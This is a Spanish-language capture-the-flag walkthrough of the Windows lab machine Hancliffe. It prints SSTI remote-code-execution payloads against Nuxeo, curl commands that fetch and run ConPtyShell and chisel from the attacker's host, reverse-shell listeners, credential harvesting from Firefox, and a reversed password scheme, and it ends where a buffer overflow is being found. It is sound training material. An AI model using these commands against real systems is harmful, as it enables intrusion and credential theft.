Hancliffe
29 minutos de lectura
- SO: Windows
- Dificultad: Difícil
- Dirección IP: 10.10.11.115
- Fecha: 09 / 10 / 2021
Escaneo de puertos
# Nmap 7.92 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.115 -p 80,8000,9999
Nmap scan report for 10.10.11.115
Host is up (0.14s latency).
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.21.0
|_http-title: Welcome to nginx!
|_http-server-header: nginx/1.21.0
8000/tcp open http nginx 1.21.0
|_http-title: HashPass | Open Source Stateless Password Manager
|_http-server-header: nginx/1.21.0
9999/tcp open abyss?
| fingerprint-strings:
| FourOhFourRequest, GetRequest, HTTPOptions:
| Welcome Brankas Application.
| Username: Password:
| NULL:
| Welcome Brankas Application.
|_ Username:
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 35.05 seconds
La máquina tiene abiertos los puertos 80 (HTTP), 8000 (HTTP) y 9999.
Enumeración web
Si vamos a http://10.10.11.115:8000
, vemos una página con una aplicación de generación de contraseñas:
Pero no hay nada interesante de momento. Si vamos a http://10.10.11.115
veremos una página por defecto de nginx:
Podemos tratar de aplicar fuzzing para enumerar más rutas:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u http://10.10.11.115/FUZZ
%20 [Status: 200, Size: 612, Words: 79, Lines: 26]
maintenance [Status: 302, Size: 0, Words: 1, Lines: 1]
Y vemos que hay una ruta /maintenance
, que redirige a /nuxeo/Maintenance/
:
$ curl 10.10.11.115/maintenance -I
HTTP/1.1 302
Server: nginx/1.21.0
Date:
Content-Length: 0
Connection: keep-alive
X-Frame-Options: SAMEORIGIN
X-UA-Compatible: IE=10; IE=11
Cache-Control: no-cache, no-store, must-revalidate
X-Content-Type-Options: nosniff
Content-Security-Policy: img-src data: blob: *; default-src blob: *; script-src 'unsafe-inline' 'unsafe-eval' data: *; style-src 'unsafe-inline' *; font-src data: *
X-XSS-Protection: 1; mode=block
Location: /nuxeo/Maintenance/
Si ponemos una barra al final, veremos algo de información:
Y también nos pone una cookie JSESSIONID
para /nuxeo
:
$ curl 10.10.11.115/maintenance/ -I
HTTP/1.1 200
Server: nginx/1.21.0
Date:
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 714
Connection: keep-alive
X-Frame-Options: SAMEORIGIN
X-UA-Compatible: IE=10; IE=11
Cache-Control: no-cache, no-store, must-revalidate
X-Content-Type-Options: nosniff
Content-Security-Policy: img-src data: blob: *; default-src blob: *; script-src 'unsafe-inline' 'unsafe-eval' data: *; style-src 'unsafe-inline' *; font-src data: *
X-XSS-Protection: 1; mode=block
Set-Cookie: JSESSIONID=44BBB0235146336EA23847A030BF0401.nuxeo; Path=/nuxeo; HttpOnly
Vary: Accept-Encoding
La página web está desarrollada en Java (debido a la cookie JSESSIONID
). Como hay un nginx, es posible que exista alguna vulnerabilidad de navegación de directorios (rompiendo la lógica del parser, más información aquí). Vamos a probar:
$ curl '10.10.11.115/maintenance/..;/' -iH 'Cookie: JSESSIONID=44BBB0235146336EA23847A030BF0401.nuxeo'
HTTP/1.1 302
Server: nginx/1.21.0
Date: Sun, 06 Mar 2022 21:54:29 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 0
Connection: keep-alive
X-Frame-Options: SAMEORIGIN
X-UA-Compatible: IE=10; IE=11
Cache-Control: no-cache, no-store, must-revalidate
X-Content-Type-Options: nosniff
Content-Security-Policy: img-src data: blob: *; default-src blob: *; script-src 'unsafe-inline' 'unsafe-eval' data: *; style-src 'unsafe-inline' *; font-src data: *
X-XSS-Protection: 1; mode=block
Location: http://10.10.11.115/nuxeo/nxstartup.faces
Está redirigiendo a /nuxeo/nxstartup.faces
. Vamos a ver qué hy en esta ruta:
$ curl '10.10.11.115/maintenance/..;/nuxeo/nxstartup.faces' -iH 'Cookie: JSESSIONID=44BBB0235146336EA23847A030BF0401.nuxeo'
HTTP/1.1 401
Server: nginx/1.21.0
Date: Sun, 06 Mar 2022 21:54:43 GMT
Content-Type: text/html;charset=UTF-8
Content-Length: 220
Connection: keep-alive
X-Frame-Options: SAMEORIGIN
X-UA-Compatible: IE=10; IE=11
Cache-Control: no-cache, no-store, must-revalidate
X-Content-Type-Options: nosniff
Content-Security-Policy: img-src data: blob: *; default-src blob: *; script-src 'unsafe-inline' 'unsafe-eval' data: *; style-src 'unsafe-inline' *; font-src data: *
X-XSS-Protection: 1; mode=block
<script type="text/javascript">
document.cookie = 'nuxeo.start.url.fragment=' + encodeURIComponent(window.location.hash.substring(1) || '') + '; path=/';
window.location = 'http://10.10.11.115/nuxeo/login.jsp';
</script>
De nuevo, nos redirige. Y aquí tenemos un formulario de inicio de sesión:
Aquí podemos ver la versión, que es Nuxeo FT 10.2. Existe una vulnerabilidad que consigue ejecución remota de comandos (RCE) por medio de Server-Side Template Injection (SSTI) en Java (CVE-2018-16341). Podemos leer cómo funciona el exploit y probar si es vulnerable:
$ curl $(echo 'http://10.10.11.115/maintenance/..;/login.jsp/pwn${7*7}.xhtml' | sed 's/{/%7b/g' | sed 's/}/%7d/g')
<span><span style="color:red;font-weight:bold;">ERROR: facelet not found at '/login.jsp/pwn49.xhtml'</span><br /></span>
Nótese que hemos codificado los caracteres {
and }
en codificación URL (%7b
and %7d
). Como aparece pwn49.xhtml
en la respuesta, sabemos que es vulnerable.
Acceso a la máquina
Ahora podemos utilizar el exploit de Python para ejecutar comandos en el servidor. Tenemos que modificar la URL y la arquitectura para hacer que funcione:
$ python3 CVE-2018-16341.py
Nuxeo Authentication Bypass Remote Code Execution - CVE-2018-16341
[+] Checking template injection vulnerability => OK
command (WIN)> whoami
[+] Executing command =>
hancliffe\svc_account
Ahora podemos intentar utilizar una reverse shell. Para ello, primero tenemos que verificar que el servidor tiene traza con la máquina de atacante:
command (WIN)> curl 10.10.17.44
[+] Executing command =>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
Y sí la tiene:
$ python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:10.10.11.115 - - [] "GET / HTTP/1.1" 200 -
Para establecer la conexión de reverse shell utilizaré ConPtyShell
. Tenemos que descargarlo y después ejecutarlo desde la máquina mientras escuchamos con nc
:
command (WIN)> curl 10.10.17.44/ConPtyShell.exe -o /windows/temp/r.exe
[+] Executing command =>
command (WIN)> /windows/temp/r.exe 10.10.17.44 4444 50 158
[+] Executing command =>
$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.115.
Ncat: Connection from 10.10.11.115:51152.
^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Try the new cross-platform PowerShell https://aka.ms/pscore6
PS C:\Nuxeo>
Enumeración del sistema
Existen algunos usuarios(clara
, development
y Administrator
):
PS C:\Nuxeo> dir C:\Users
Directory: C:\Users
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 11/30/2021 9:54 AM Administrator
d----- 11/30/2021 9:54 AM clara
d----- 6/26/2021 10:35 PM development
d-r--- 6/3/2021 7:00 AM Public
d----- 11/30/2021 9:54 AM svc_account
PS C:\Nuxeo> tree C:\Users
Folder PATH listing
Volume serial number is 00000077 B0F6:2F1B
C:\USERS
├───Administrator
├───clara
├───development
├───Public
│ ├───Documents
│ ├───Downloads
│ ├───Music
│ ├───Pictures
│ └───Videos
└───svc_account
├───.nxshell
├───3D Objects
├───Contacts
├───Desktop
├───Documents
│ └───WindowsPowerShell
├───Downloads
├───Favorites
│ └───Links
├───Links
├───Music
├───OneDrive
├───Pictures
│ ├───Camera Roll
│ └───Saved Pictures
├───Saved Games
├───Searches
└───Videos
Podemos mostrar algunas configuraciones de red:
PS C:\Nuxeo> ipconfig
Windows IP Configuration
Ethernet adapter Ethernet0 2:
Connection-specific DNS Suffix . : htb
IPv6 Address. . . . . . . . . . . : dead:beef::111
IPv6 Address. . . . . . . . . . . : dead:beef::f0d6:7043:d0e5:2d98
Temporary IPv6 Address. . . . . . : dead:beef::ac37:ca27:2783:1789
Link-local IPv6 Address . . . . . : fe80::f0d6:7043:d0e5:2d98%7
IPv4 Address. . . . . . . . . . . : 10.10.11.115
Subnet Mask . . . . . . . . . . . : 255.255.254.0
Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:324%7
10.10.10.2
PS C:\Nuxeo> netstat -nat | Select-String LISTEN
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:5040 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:5432 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:5985 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:8000 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:9321 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:9510 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:9512 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:9512 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:9999 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:47001 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:49664 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:49665 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:49666 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:49667 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:49668 0.0.0.0:0 LISTENING InHost
TCP 10.10.11.115:139 0.0.0.0:0 LISTENING InHost
TCP 127.0.0.1:1080 0.0.0.0:0 LISTENING InHost
TCP 127.0.0.1:8005 0.0.0.0:0 LISTENING InHost
TCP 127.0.0.1:8009 0.0.0.0:0 LISTENING InHost
TCP 127.0.0.1:8080 0.0.0.0:0 LISTENING InHost
TCP 127.0.0.1:8888 0.0.0.0:0 LISTENING InHost
TCP 127.0.0.1:9200 0.0.0.0:0 LISTENING InHost
TCP 127.0.0.1:9300 0.0.0.0:0 LISTENING InHost
TCP [::]:135 [::]:0 LISTENING InHost
TCP [::]:445 [::]:0 LISTENING InHost
TCP [::]:5432 [::]:0 LISTENING InHost
TCP [::]:5985 [::]:0 LISTENING InHost
TCP [::]:9512 [::]:0 LISTENING InHost
TCP [::]:47001 [::]:0 LISTENING InHost
TCP [::]:49664 [::]:0 LISTENING InHost
TCP [::]:49665 [::]:0 LISTENING InHost
TCP [::]:49666 [::]:0 LISTENING InHost
TCP [::]:49667 [::]:0 LISTENING InHost
TCP [::]:49668 [::]:0 LISTENING InHost
También podemos ver si hay alguna ruta excluida por Windows Defender:
PS C:\Nuxeo> reg query 'HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths'
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
C:\DevApp\MyFirstApp.exe REG_DWORD 0x0
Y nos muestra un binario, pero no podemos leerlo aún.
En C:\Program Files (x86)
hay una carpeta Unified Remote 3
:
PS C:\Nuxeo> dir 'C:\Program Files (x86)'
Directory: C:\Program Files (x86)
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 6/3/2021 7:11 AM Common Files
d----- 10/3/2021 11:08 PM Internet Explorer
d----- 6/3/2021 8:09 PM Microsoft
d----- 12/7/2019 6:48 AM Microsoft.NET
d----- 6/26/2021 10:15 PM Mozilla Maintenance Service
d----- 6/12/2021 2:51 AM MSBuild
d----- 6/12/2021 2:51 AM Reference Assemblies
d----- 6/12/2021 12:21 AM Unified Remote 3
d----- 4/9/2021 6:48 AM Windows Defender
d----- 7/18/2021 12:20 AM Windows Mail
d----- 12/7/2019 6:44 AM Windows NT
d----- 4/9/2021 6:48 AM Windows Photo Viewer
d----- 12/7/2019 1:25 AM WindowsPowerShell
El servicio utiliza el puerto 9512, que está en escucha como se mostró anteriormente en la enumeración de red.
Movimiento lateral al usuario clara
Existe un exploit público de Unified Remote 3
en ExploitDB. Para utilizarlo, debemos exponer el puerto afuera mediante chisel
:
$ ./chisel server --reverse -p 1234
server: Reverse tunnelling enabled
server: Fingerprint L32jA7y7l060Ux4y/lkeGtEmYY/JuhFiN+7tqA3v0TU=
server: Listening on http://0.0.0.0:1234
server: session#1: tun: proxy#R:9512=>9512: Listening
PS C:\Nuxeo> curl 10.10.17.44/chisel.exe -o C:\Windows\Temp\c.exe
PS C:\Nuxeo> C:\Windows\Temp\c.exe client 10.10.17.44:1234 R:9512:127.0.0.1:9512
client: Connecting to ws://10.10.17.44:1234
client: Connected (Latency 77.0068ms)
El exploit básicamente se descarga un binario desde la máquina de atacante en C:\Windows\Temp
y luego lo ejecuta. Decidí modificar el exploit para utilizar ConPtyShell
.
$ python2 49587.py 127.0.0.1 10.10.17.44 ConPtyShell.exe
[+] Connecting to target...
[+] Popping Start Menu
[+] Opening CMD
[+] *Super Fast Hacker Typing*
[+] Downloading Payload
[+] Done! Check listener?
Y conseguimos acceso como clara
:
$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.115.
Ncat: Connection from 10.10.11.115:58167.
^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Try the new cross-platform PowerShell https://aka.ms/pscore6
PS C:\Users\clara>
Aquí ya podemos leer la flag user.txt
:
PS C:\Users\clara> type Desktop\user.txt
3aa9dcfca7cac59c24ed2f14a0952ee7
Pero seguimos sin poder leer el binario en C:\DevApp
:
PS C:\Users\clara> dir C:\DevApp
dir : Access to the path 'C:\DevApp' is denied.
At line:1 char:1
+ dir C:\DevApp
+ ~~~~~~~~~~~~~
+ CategoryInfo : PermissionDenied: (C:\DevApp:String) [Get-ChildItem], UnauthorizedAccessException
+ FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand
Si ejecutamos winpeas.exe
para enumerar más, obtenemos unas credenciales guardadas en Firefox:
════════════════════════════════════╣ Browsers Information ╠════════════════════════════════════
╔══════════╣ Showing saved credentials for Firefox
Url: http://localhost:8000
Username: hancliffe.htb
Password: #@H@ncLiff3D3velopm3ntM@st3rK3y*!
=================================================================================================
╔══════════╣ Looking for Firefox DBs
╚ https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#browsers-history
Firefox credentials file exists at C:\Users\clara\AppData\Roaming\Mozilla\Firefox\Profiles\ljftf853.default-release\key4.db
╚ Run SharpWeb (https://github.com/djhohnstein/SharpWeb)
winpeas.exe
ya nos extrae las contraseñas de la base de datos de Firefox, aunque podríamos haber usado FirePwd.
Movimimento lateral al usuario development
Había otro usuario llamado development
. Podemos tratar de conectarnos al servidor utilizando evil-winrm
(configurando chisel
para exponer el puerto 5985):
PS C:\Nuxeo> C:\Windows\Temp\c.exe client 10.10.17.44:1234 R:5985:127.0.0.1:5985
2022/03/06 17:14:36 client: Connecting to ws://10.10.17.44:1234
2022/03/06 17:14:37 client: Connected (Latency 105.431ms)
Podemos probar la contraseña para development
pero no funciona:
$ evil-winrm -i 127.0.0.1 -u development -p '#@H@ncLiff3D3velopm3ntM@st3rK3y*!'
Evil-WinRM shell v3.3
Info: Establishing connection to remote endpoint
Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError
Error: Exiting with code 1
Aquí tenemos que recordar que había un servicio web que generaba contraseñas a partir de otros campos y una contraseña maestra (el usuario ha debido almacenar los campos del formulario en la base de datos de Firefox por usabilidad).
Si utilizamos development
, hancliffe.htb
y #@H@ncLiff3D3velopm3ntM@st3rK3y*!
obtenemos AMl.q2DHp?2.C/V0kNFU
como contraseña:
Vamos a probar ahora:
$ evil-winrm -i 127.0.0.1 -u development -p 'AMl.q2DHp?2.C/V0kNFU'
Evil-WinRM shell v3.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\development\Documents>
Funciona. Y ahora sí podemos acceder a C:\DevApp
:
$ evil-winrm -i 127.0.0.1 -u development -p 'AMl.q2DHp?2.C/V0kNFU'
Evil-WinRM shell v3.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\development\Documents> dir C:\DevApp
Directory: C:\DevApp
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 9/14/2021 5:02 AM 60026 MyFirstApp.exe
-a---- 9/14/2021 10:57 AM 636 restart.ps1
Podemos descargar el binario a la máquina de atacante utilizando las funciones de evil-winrm
:
*Evil-WinRM* PS C:\Users\development\Documents> download C:\DevApp\MyFirstApp.exe ./MyFirstApp.exe
Info: Downloading C:\DevApp\MyFirstApp.exe to ./MyFirstApp.exe
Info: Download successful!
Ingeniería inversa sobre el binario
Tenemos un binario ejecutable de Windows de 32 bits:
$ file MyFirstApp.exe
MyFirstApp.exe: PE32 executable (console) Intel 80386, for MS Windows
Podemos utilizar strings
para ver cosas interesantes. Por ejemplo, podemos ver el comando con el que fue compilado el binario:
$ strings MyFirstApp.exe | grep protector
GNU C17 8.1.0 -mtune=generic -march=i686 -g -g -g -O2 -O2 -O2 -fno-ident -fbuilding-libgcc -fno-stack-protector
Y también podemos encontrar usuarios, códigos y contraseñas cifradas:
$ strings MyFirstApp.exe | grep -C 10 Password
setsockopt failed with error: %d
bind failed with error: %d
Waiting Connection
listen failed with error: %d
Accept failed with error: %d
Connection Received
thread cretead
Welcome Brankas Application.
Send failed with error: %d
Username:
Password:
Login Successfully!
FullName:
Input Your Code:
T3D83CbJkl1299
Vickry Alfiansyah
Unlocked
Wrong Code
Recv failed with error: %d
Username or Password incorrect
alfiansyah
YXlYeDtsbD98eDtsWms5SyU=
Unknown error
_matherr(): %s in %s(%g, %g) (retval=%g)
Argument domain error (DOMAIN)
Argument singularity (SIGN)
Overflow range error (OVERFLOW)
The result is too small to be represented (UNDERFLOW)
Total loss of significance (TLOSS)
Partial loss of significance (PLOSS)
Vemos también un mensaje “Welcome to Brankas Application”. Este es el mensaje mostrado por el servicio expuesto en el puerto 9999 (reportado por nmap
al comienzo). Por tanto, tenemos el binario que produce dicho servicio.
Existe un texto que parece una contraseña codificada en Base64, vamos a decodificarla:
$ echo YXlYeDtsbD98eDtsWms5SyU= | base64 -d
ayXx;ll?|x;lZk9K%
Podría ser la contraseña en texto claro, podemos tratar de usarla en remoto con el usuario alfiansyah
:
$ nc 10.10.11.115 9999
Welcome Brankas Application.
Username: alfiansyah
Password: ayXx;ll?|x;lZk9K%
Username or Password incorrect
Pero no es correcta. Entonces, lo que podemos hacer es descompilar el binario con Ghidra y leer el código fuente en C generado. La función main
básicamente arranca un servidor de socket y espera nuevas conexiones. Cuando se recibe uan conexión, se crea un hilo (thread) que gestiona dicha conexión:
int __cdecl _main(int _Argc, char **_Argv, char **_Env) {
// Declarations and initializations
local_1c = getaddrinfo(0, "9999", &local_1dc, &local_1e0);
if (local_1c == 0) {
local_20 = socket(*(int *) (local_1e0 + 4), *(int *) (local_1e0 + 8), *(int *) (local_1e0 + 12));
if (local_20 == 0xffffffff) {
// Error handling
} else {
tVar3 = _time((time_t *) 0);
_srand((uint) tVar3);
local_24 = _rand();
local_28 = *(int *) (local_1e0 + 0x18);
local_2c = local_24 % 1000 + 9000;
uVar1 = htons((u_short) local_2c);
*(u_short *) (local_28 + 2) = uVar1;
_printf("Server Started on Port %d\r\n", local_2c);
local_1c = setsockopt(local_20, 0xffff, 4, (char *) &local_1f8, local_18);
if (local_1c == -1) {
// Error handling
}
local_1c = bind(local_20, *(sockaddr **) (local_1e0 + 0x18), *(int *) (local_1e0 + 0x10));
if (local_1c == -1) {
// Error handling
} else {
_puts("Waiting Connection\r");
local_1c = listen(local_20, 0x7fffffff);
if (local_1c == -1) {
// Error handling
} else {
while (local_20 != 0) {
local_14 = (LPVOID) accept(local_20, &local_1f0, &local_1f4);
if (local_14 == (LPVOID) 0xffffffff) {
// Error handling
}
_puts("Connection Received\r");
CreateThread((LPSECURITY_ATTRIBUTES) 0, 0, (LPTHREAD_START_ROUTINE) &_cHandler@4, local_14, 0, (LPDWORD) 0);
}
closesocket(0);
WSACleanup();
iVar2 = 0;
}
}
}
} else {
// Error handling
}
return iVar2;
}
El gestor de la conexión es la siguiente función, que muestra los mensajes y espera a la entrada del usuario. Aquí podemos algunos ver los valores esperados para utilizar el servicio (es decir, Vickry Alfiansyah
como nombre completo y T3D83CbJkl1299
como código):
int UndefinedFunction_71901a3d(SOCKET param_1) {
int iVar1;
char acStack67[17];
char acStack50[10];
int iStack40;
char *pcStack36;
char *pcStack32;
int iStack28;
int iStack24;
SOCKET SStack20;
char *pcStack16;
_puts("thread cretead\r");
pcStack16 = (char *) _malloc(0x400);
SStack20 = param_1;
_memset(pcStack16, 0, 0x400);
iStack24 = send(SStack20, "Welcome Brankas Application.\n", 0x1d, 0);
if (iStack24 == -1) {
// Error handling
} else if (SStack20 != 0) {
iStack28 = 0;
send(SStack20, "Username: ", 10, 0);
recv(SStack20, pcStack16, 0x400, 0);
_strncpy(acStack50, pcStack16, 10);
_memset(pcStack16, 0, 0x400);
send(SStack20, "Password: ", 10, 0);
recv(SStack20, pcStack16, 0x400, 0);
_strncpy(acStack67, pcStack16, 0x11);
_memset(pcStack16, 0, 0x400);
iStack28 = _login(acStack50, acStack67);
if (iStack28 == 0) {
send(SStack20, "Username or Password incorrect\r\n", 0x21, 0);
closesocket(SStack20);
/* WARNING: Subroutine does not return */
ExitThread(0);
}
send(SStack20, "Login Successfully!\r\n", 0x15, 0);
pcStack32 = (char *) _malloc(0x50);
pcStack36 = (char *) _malloc(100);
while (true) {
send(SStack20, "FullName: ", 10, 0);
iStack40 = recv(SStack20, pcStack16, 0x400, 0);
if (iStack40 == 0) {
closesocket(SStack20);
/* WARNING: Subroutine does not return */
ExitThread(0);
}
if (iStack40 < 1) break;
_memset(pcStack36, 0, 100);
_strncpy(pcStack36, pcStack16, 100);
_memset(pcStack16, 0, 0x400);
send(SStack20, "Input Your Code: ", 0x11, 0);
recv(SStack20, pcStack16, 0x400, 0);
_memset(pcStack32, 0, 0x50);
_strncpy(pcStack32, pcStack16, 0x50);
_SaveCreds(pcStack32, pcStack36);
iVar1 = _strncmp(pcStack32, "T3D83CbJkl1299", 0xe);
if (iVar1 != 0) {
send(SStack20, "Wrong Code\r\n", 0xd, 0);
closesocket(SStack20);
/* WARNING: Subroutine does not return */
ExitThread(0);
}
iVar1 = _strncmp(pcStack36, "Vickry Alfiansyah", 0x11);
if (iVar1 == 0) {
send(SStack20, "Unlocked\r\n", 0xb, 0);
closesocket(SStack20);
/* WARNING: Subroutine does not return */
ExitThread(0);
}
}
iVar1 = WSAGetLastError();
_printf("Recv failed with error: %d\n", iVar1);
closesocket(SStack20);
iStack24 = 1;
}
return iStack24;
}
Existe una función llamada _login
que se encarga de la autenticación del usuario:
int _login(char *param_1, void *param_2) {
size_t sVar1;
int iVar2;
undefined local_39[17];
char *local_28;
char *local_24;
char *local_20;
size_t local_1c;
char *local_18;
char *local_14;
char *local_10;
local_10 = "alfiansyah";
local_14 = "YXlYeDtsbD98eDtsWms5SyU=";
_memmove(local_39, param_2, 0x11);
local_18 = (char *) _encrypt1(0, local_39);
local_1c = _strlen(local_18);
local_24 = (char *) _encrypt2(local_18, local_1c);
local_20 = local_24;
sVar1 = _strlen(local_24);
local_28 = (char *) _b64_encode(local_24, sVar1);
iVar2 = _strcmp(local_10, param_1);
if ((iVar2 == 0) && (iVar2 = _strcmp(local_14, local_28), iVar2 == 0)) {
return 1;
}
return 0;
}
Ahora podemos ver que la contraseña está cifrada con dos funciones encrypt1
y encrypt2
y después se codifica en Base64.
Las funciones de cifrado utilizan un algoritmo de sustitución:
char * _encrypt1(int param_1, char *param_2) {
char cVar1;
char *_Str;
size_t sVar2;
uint local_10;
_Str = _strdup(param_2);
sVar2 = _strlen(_Str);
for (local_10 = 0; local_10 < sVar2; local_10 = local_10 + 1) {
if ((' ' < _Str[local_10]) && (_Str[local_10] != '\x7f')) {
cVar1 = (char)(_Str[local_10] + 0x2f);
if (_Str[local_10] + 0x2f < 0x7f) {
_Str[local_10] = cVar1;
} else {
_Str[local_10] = cVar1 + -0x5e;
}
}
}
return _Str;
}
char * _encrypt2(char *param_1, int param_2) {
bool bVar1;
char *pcVar2;
byte local_11;
int local_10;
pcVar2 = _strdup(param_1);
for (local_10 = 0; local_10 < param_2; local_10 = local_10 + 1) {
local_11 = param_1[local_10];
if ((local_11 < 0x41) || (((0x5a < local_11 && (local_11 < 0x61)) || (0x7a < local_11)))) {
pcVar2[local_10] = local_11;
} else {
bVar1 = local_11 < 0x5b;
if (bVar1) {
local_11 = local_11 + 0x20;
}
pcVar2[local_10] = 'z' - (local_11 + 0x9f);
if (bVar1) {
pcVar2[local_10] = pcVar2[local_10] + -0x20;
}
}
}
return pcVar2;
}
Como la descompilación de Ghidra es un poco rara, decidí escribir estas funciones como se muestra a continuación (encrypt1
y encrypt2
, respectivamente):
#include <stdio.h>
#include <string.h>
int main(int argc, char** argv) {
int i;
int length;
char c;
char* s;
s = argv[1];
length = strlen(s);
for (i = 0; i < length; i++) {
if (0x20 < s[i] && s[i] != 0x7f) {
c = (char) (s[i] + 0x2f);
if (s[i] + 0x2f < 0x7f) {
s[i] = c;
} else {
s[i] = c - 0x5e;
}
}
}
puts(s);
return 0;
}
#include <stdio.h>
#include <string.h>
int main(int argc, char** argv) {
_Bool b;
int i;
int length;
char c;
char* s;
s = argv[1];
length = strlen(s);
for (i = 0; i < length; i++) {
c = s[i];
if ((0x41 <= c && c <= 0x5a) || (0x61 <= c && c <= 0x7a)) {
b = (c <= 0x5a);
if (b) {
c += ' ';
}
s[i] = 0x7a - (c + 0x9f);
if (b) {
s[i] -= 0x20;
}
}
}
puts(s);
return 0;
}
Ahora podemos compilarlas y analizar su comportamiento al cifrar todos los caracteres ASCII imprimibles (excepto espacios, saltos de línea y retornos de carro):
$ gcc -o encrypt1 encrypt1.c
$ gcc -o encrypt2 encrypt2.c
$ chars="$(python3 -c 'import string; print(string.printable.strip())')"
$ echo $chars; ./encrypt1 "$chars"
0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
_`abcdefgh23456789:;<=>?@ABCDEFGHIJKpqrstuvwxyz{|}~!"#$%&'()*+PQRSTUVWXYZ[\]^ijklmno,-./01LMNO
$ echo $chars; ./encrypt2 "$chars"
0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
0123456789zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBA!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
La primera función realiza una sustitución un tanto rara, mientras que la segunda solamente invierte el orden de las letras mayúsculas y minúsculas.
Aunque se puede invertir el algoritmo o crear un mapa que relacione las letras de entrada con las letras de salida para descifrar la contraseña, decidí utilizar un script en Bash para iterar sobre todos los caracteres imprimibles hasta encontrar las coincidencias:
#!/usr/bin/env bash
encrypted='YXlYeDtsbD98eDtsWms5SyU='
echo "Encrypted : $encrypted"
encrypted2=$(echo $encrypted | base64 -d)
echo "Encrypted2: $encrypted2"
for i in $(seq 1 ${#encrypted2}); do
for d in {32..126}; do
c=$(python3 -c "print(chr($d))")
if [ "$(./encrypt2 $c)" = ${encrypted2:i-1:1} ]; then
encrypted1+=$c
break
fi
done
done
echo "Encrypted1: $encrypted1"
for i in $(seq 1 ${#encrypted1}); do
for d in {32..126}; do
c=$(python3 -c "print(chr($d))")
if [ "$(./encrypt1 $c)" = ${encrypted1:i-1:1} ]; then
decrypted+=$c
break
fi
done
done
echo "Decrypted : $decrypted"
echo Re-compute: $(./encrypt2 "$(./encrypt1 "$decrypted")" | tr -d '\n' | base64)
El procedimiento es el inverso. Primero decodificamos en Base64, luego desciframos con el segundo tipo de cifrado y después desciframos con el primer tipo de cifrado. Una vez hecho, volvemos a usar encrypt1
, encrypt2
y base64
para verificar que tenemos la contraseña correcta:
$ bash decrypt.sh
Encrypted : YXlYeDtsbD98eDtsWms5SyU=
Encrypted2: ayXx;ll?|x;lZk9K%
Encrypted1: zbCc;oo?|c;oAp9P%
Decrypted : K3r4j@@nM4j@pAh!T
Re-compute: YXlYeDtsbD98eDtsWms5SyU=
Los tres scripts se pueden encontrar aquí: decrypt.sh
, encrypt1.c
, encrypt2.c
.
De hecho, descubrí que los dos tipos de cifrado son algoritmos conocidos: encrypt1
es ROT47 y encrypt2
es el cifrado Atbash. Podemos utilizar CyberChef para descifrar la contraseña de manera más sencilla:
Perfecto, ahora nos podemos autenticar correctamente:
$ nc 10.10.11.115 9999
Welcome Brankas Application.
Username: alfiansyah
Password: K3r4j@@nM4j@pAh!T
Login Successfully!
FullName: Vickry Alfiansyah
Input Your Code: T3D83CbJkl1299
Unlocked
Ncat: Broken pipe.
Pero no conseguimos nada… A lo mejor tenemos que explotar el binario…
Escalada de privilegios (explotación de Buffer Overflow)
Mirando de nuevo al código en C descompilado, encontramos una vulnerabilidad de Buffer Overflow en una función llamada _SaveCreds
:
void _SaveCreds(char *param_1, char *param_2) {
char local_42[50];
char *local_10;
local_10 = (char *) _malloc(100);
_strcpy(local_10, param_2);
